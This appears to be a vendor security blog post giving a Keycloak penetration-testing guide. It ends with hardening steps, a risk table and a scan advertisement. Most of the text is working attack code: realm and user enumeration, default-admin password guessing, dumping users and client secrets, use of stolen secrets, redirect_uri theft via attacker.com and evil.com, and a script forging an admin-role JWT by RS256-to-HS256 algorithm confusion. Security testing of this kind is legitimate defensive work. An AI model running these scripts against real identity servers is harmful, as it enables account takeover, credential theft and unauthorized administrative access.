Keycloak is the identity backbone of thousands of enterprise deployments — it issues every JWT, manages every SSO session, and enforces authorization for all integrated applications. A misconfigured Keycloak deployment can allow attackers to forge tokens with arbitrary claims, hijack sessions via open redirect_uri, enumerate users through unauthenticated APIs, or achieve full RCE via the admin console. This guide covers systematic Keycloak security testing from unauthenticated reconnaissance through full account takeover.
# Keycloak exposes OIDC discovery endpoints per realm — no auth required
# Standard URL: /auth/realms/{realm}/.well-known/openid-configuration
# Since Keycloak 17+: /realms/{realm}/.well-known/openid-configuration
# Discover Keycloak version and realm names
curl -s "https://keycloak.target.com/auth/" | grep -i "keycloak\|version"
# Or from response headers:
curl -I "https://keycloak.target.com/auth/"
# Common realm names to enumerate
for realm in master internal prod staging dev employees customers api; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://keycloak.target.com/realms/$realm/.well-known/openid-configuration")
echo "$realm: HTTP $code"
done
# For each discovered realm, extract configuration
curl -s "https://keycloak.target.com/realms/master/.well-known/openid-configuration" | \
python3 -m json.tool | grep -E "issuer|token_endpoint|jwks_uri|grant_types|scopes"
# Keycloak admin REST API — check if accessible without auth
curl -s -o /dev/null -w "%{http_code}" \
"https://keycloak.target.com/admin/realms"
# 401 = requires auth (expected), 200 = unauthenticated admin access (critical)
# Get JWKS public keys (used for token verification)
curl -s "https://keycloak.target.com/realms/master/protocol/openid-connect/certs" | \
python3 -m json.tool
# The admin console at /auth/admin/ or /admin/ should NEVER be internet-accessible
# Test for direct access
curl -s -o /dev/null -w "%{http_code}" "https://keycloak.target.com/admin/"
curl -s -o /dev/null -w "%{http_code}" "https://keycloak.target.com/auth/admin/"
# Test default admin credentials
KC_URL="https://keycloak.target.com"
for pass in admin password keycloak admin123 secret changeme; do
TOKEN=$(curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/token" \
-d "client_id=admin-cli&username=admin&password=$pass&grant_type=password" | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token','FAIL')[:20])" 2>/dev/null)
[[ "$TOKEN" != "FAIL" ]] && echo "[!] Valid creds: admin:$pass" && break
done
# If admin token obtained — enumerate all realms, clients, users
ADMIN_TOKEN="eyJhbGc..."
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms" | \
python3 -c "import json,sys; [print(r['realm'], r.get('displayName','')) for r in json.load(sys.stdin)]"
# Extract all users from a realm
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master/users?max=100" | \
python3 -c "
import json,sys
for u in json.load(sys.stdin):
print(f\"User: {u['username']} Email: {u.get('email','?')} Enabled: {u['enabled']}\")
if u.get('realmRoles'): print(f\" Roles: {u.get('realmRoles')}\")
"
# Extract all client secrets
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master/clients?clientId=&search=true&max=100" | \
python3 -c "
import json,sys
clients = json.load(sys.stdin)
for c in clients:
if not c.get('publicClient', True): # confidential clients have secrets
print(f\"Client: {c['clientId']} Protocol: {c['protocol']}\")
"
# Check for password policy weaknesses
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master" | \
python3 -c "
import json,sys
realm = json.load(sys.stdin)
print(f\"Brute force protection: {realm.get('bruteForceProtected', False)}\")
print(f\"Password policy: {realm.get('passwordPolicy', 'NONE')}\")
print(f\"Login with email: {realm.get('loginWithEmailAllowed', False)}\")
print(f\"User registration enabled: {realm.get('registrationAllowed', False)}\")
print(f\"SSL required: {realm.get('sslRequired', 'none')}\")
print(f\"Access token lifespan: {realm.get('accessTokenLifespan', 300)}s\")
print(f\"Refresh token max reuse: {realm.get('refreshTokenMaxReuse', 0)}\")
"
# Critical findings:
# bruteForceProtected: false → no lockout policy
# sslRequired: none → HTTP allowed for token exchange
# registrationAllowed: true → anyone can create accounts
# accessTokenLifespan: 86400+ → tokens valid for 24h+ (should be <5min)
# refreshTokenMaxReuse: 0 means unlimited reuse (rotation not enforced)
# Test user registration on public realm (if allowed)
curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/registrations" \
-H "Content-Type: application/json" \
-d '{"firstName":"Test","lastName":"User","email":"test@evil.com","username":"testuser","password":"Test1234!","passwordConfirm":"Test1234!"}'
# Check if email verification is required
# (registration without email verification = no identity validation)
# Keycloak clients can be public (no secret) or confidential (have a secret)
# Client secrets in application configs → can get tokens as that client
# Find client secrets in application source code
grep -rE "(client_secret|KEYCLOAK_SECRET|KC_CLIENT_SECRET)" . \
--include="*.env" --include="*.yaml" --include="*.properties" --include="*.json"
# Use stolen client secret to get a token (client_credentials grant)
CLIENT_ID="myapp-backend"
CLIENT_SECRET="stolen-secret"
curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/token" \
-d "client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&grant_type=client_credentials" | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Token: {d.get('access_token','ERROR')[:80]}...\")"
# Decode the token to see granted roles/permissions
TOKEN="eyJhbGc..."
python3 << 'EOF'
import base64, json
token = "TOKEN_HERE"
parts = token.split('.')
payload = parts[1] + '=' * (4 - len(parts[1]) % 4)
decoded = json.loads(base64.urlsafe_b64decode(payload))
print(json.dumps(decoded, indent=2))
EOF
# Test if service account has admin-equivalent permissions
# Some deployments grant realm-management roles to service accounts
curl -s -H "Authorization: Bearer $CLIENT_TOKEN" \
"$KC_URL/admin/realms/master/users?max=10"
# Keycloak validates redirect_uri against registered patterns
# Overly broad patterns (wildcards) allow authorization code theft
# Check registered redirect URIs for a client
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master/clients" | \
python3 -c "
import json,sys
for c in json.load(sys.stdin):
uris = c.get('redirectUris', [])
for uri in uris:
if '*' in uri or uri == '/*':
print(f\"[!] Wildcard redirect: {c['clientId']}: {uri}\")
if 'localhost' in uri:
print(f\"[?] Localhost redirect: {c['clientId']}: {uri}\")
"
# Exploit wildcard redirect_uri (e.g., registered: https://app.target.com/*)
# Attacker constructs:
REDIRECT="https://attacker.com/steal?orig=https://app.target.com/callback"
# URL: $KC_URL/realms/master/protocol/openid-connect/auth?client_id=myapp&response_type=code&redirect_uri=$REDIRECT
# Test for open redirect in post-login flow
curl -s -o /dev/null -w "%{http_code}" \
"$KC_URL/realms/master/protocol/openid-connect/auth?client_id=account&response_type=code&redirect_uri=https://evil.com&scope=openid"
# 302 to evil.com = vulnerable
# 400 "Invalid redirect_uri" = protected
# Test path traversal in redirect_uri
# If registered: https://app.target.com/callback
# Try: https://app.target.com/callback/../../../evil?
python3 -c "
from urllib.parse import quote
base = 'https://app.target.com/callback'
traversals = ['/../../../evil', '/..%2F..%2F..%2Fevil', '/callback?next=https://evil.com']
for t in traversals:
print(f'Try: {base}{quote(t, safe=\"/\")}')
"
# Keycloak uses RS256 by default — tokens signed with private key, verified with public key
# Algorithm confusion: change header to HS256 and sign with the public key as HMAC secret
# Get Keycloak's public key from JWKS endpoint
curl -s "$KC_URL/realms/master/protocol/openid-connect/certs" | \
python3 -c "
import json,sys
keys = json.load(sys.stdin)['keys']
for k in keys:
if k.get('use') == 'sig':
print(f\"Key ID: {k['kid']}\")
print(f\"Algorithm: {k['alg']}\")
print(f\"n: {k['n'][:50]}...\")
"
# Craft forged HS256 token signed with the public key
python3 << 'EOF'
import base64, hmac, hashlib, json
# Stolen valid token header
header = {"alg": "HS256", "typ": "JWT"}
# Modified payload with elevated roles
payload = {
"exp": 9999999999,
"iat": 1000000000,
"sub": "user-id",
"preferred_username": "admin",
"realm_access": {
"roles": ["admin", "realm-admin"]
},
"resource_access": {
"realm-management": {
"roles": ["manage-users", "manage-realm"]
}
}
}
def b64url(data):
if isinstance(data, dict):
data = json.dumps(data, separators=(',',':')).encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# The "secret" is the PEM-encoded public key (algorithm confusion attack)
public_key_pem = "-----BEGIN PUBLIC KEY-----\nMIIBIjAN...\n-----END PUBLIC KEY-----\n"
h = b64url(header)
p = b64url(payload)
sig = hmac.new(public_key_pem.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
forged_token = f"{h}.{p}.{b64url(sig)}"
print(f"Forged token: {forged_token[:80]}...")
EOF
# Test if application accepts the forged token
# (This only works if the app accepts both HS256 and RS256)
# Keycloak registration and login pages often leak user existence
# Test login error messages
curl -s -X POST "$KC_URL/realms/master/protocol/openid-connect/token" \
-d "client_id=account&username=admin&password=wrongpassword&grant_type=password" | \
python3 -c "import json,sys; print(json.load(sys.stdin).get('error_description','?'))"
# "Invalid user credentials" = user EXISTS but wrong password
# "Account disabled" = user exists but disabled
# "Account not found" = user DOESN'T exist (enables enumeration)
# Exploit registration endpoint for user enumeration
for user in admin administrator user1 john.doe sven@target.com; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KC_URL/realms/master/protocol/openid-connect/registrations" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=$user&email=$user@test.com&password=Test1234!")
echo "$user: HTTP $response"
# 409 = user already exists, 200 = created (doesn't exist)
done
# Admin API user search (if accessible without auth — critical misconfiguration)
curl -s "$KC_URL/admin/realms/master/users?search=admin" | python3 -m json.tool 2>/dev/null
# Forgot password enumeration
curl -s -X POST "$KC_URL/realms/master/login-actions/reset-credentials" \
-d "username=admin" | grep -i "email\|sent\|not found"
# 1. Restrict admin console to internal networks only
# Keycloak configuration or reverse proxy restriction:
# Only allow access to /auth/admin/* from internal IP ranges
# 2. Enable brute force protection
# Admin Console: Realm Settings → Security Defenses → Brute Force Detection
# Or via API:
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
"$KC_URL/admin/realms/master" \
-d '{
"bruteForceProtected": true,
"failureFactor": 5,
"waitIncrementSeconds": 60,
"maxWaitSeconds": 900,
"minimumQuickLoginWaitSeconds": 60,
"quickLoginCheckMilliSeconds": 1000
}'
# 3. Set strict access token lifespan
# Access token: 300s (5 min) max
# Refresh token: 1800s (30 min)
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master" \
-d '{
"accessTokenLifespan": 300,
"ssoSessionMaxLifespan": 36000,
"offlineSessionMaxLifespan": 5184000,
"ssoSessionIdleTimeout": 1800
}'
# 4. Restrict redirect_uri to exact matches (no wildcards)
# Never use: https://app.target.com/*
# Always use: https://app.target.com/callback
# 5. Use only RS256 (asymmetric) — never allow HS256 for realm tokens
# Client Settings → Advanced → Signed JWT → RS256
# 6. Enable SSL required for ALL requests
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master" -d '{"sslRequired": "all"}'
# 7. Disable user registration unless required
# Realm Settings → Login → User Registration: OFF
# 8. Enable login event logging
curl -X PUT -H "Authorization: Bearer $ADMIN_TOKEN" \
"$KC_URL/admin/realms/master" \
-d '{"eventsEnabled": true, "eventsExpiration": 604800, "adminEventsEnabled": true}'
| Security Test | Method | Risk |
|---|---|---|
| Admin console internet-accessible | curl /admin/ — expect 403 from internet | Critical |
| Default admin:admin credentials | client_credentials token request | Critical |
| Wildcard redirect_uri | Admin API client redirect URI audit | Critical |
| Algorithm confusion (RS256 → HS256) | Forge token with public key as HMAC | Critical |
| Client secret in code | grep for KEYCLOAK_SECRET in repos | High |
| User enumeration via error messages | Login with known/unknown users | Medium |
| Brute force protection disabled | Admin API realm settings check | High |
| Long-lived access tokens | Decode JWT exp vs iat claim | Medium |
Ironimo audits Keycloak deployments for admin console exposure, realm misconfiguration, overly permissive redirect URIs, client credential weaknesses, and token validation gaps — covering the full OIDC provider attack surface in a single scan.
Start free scan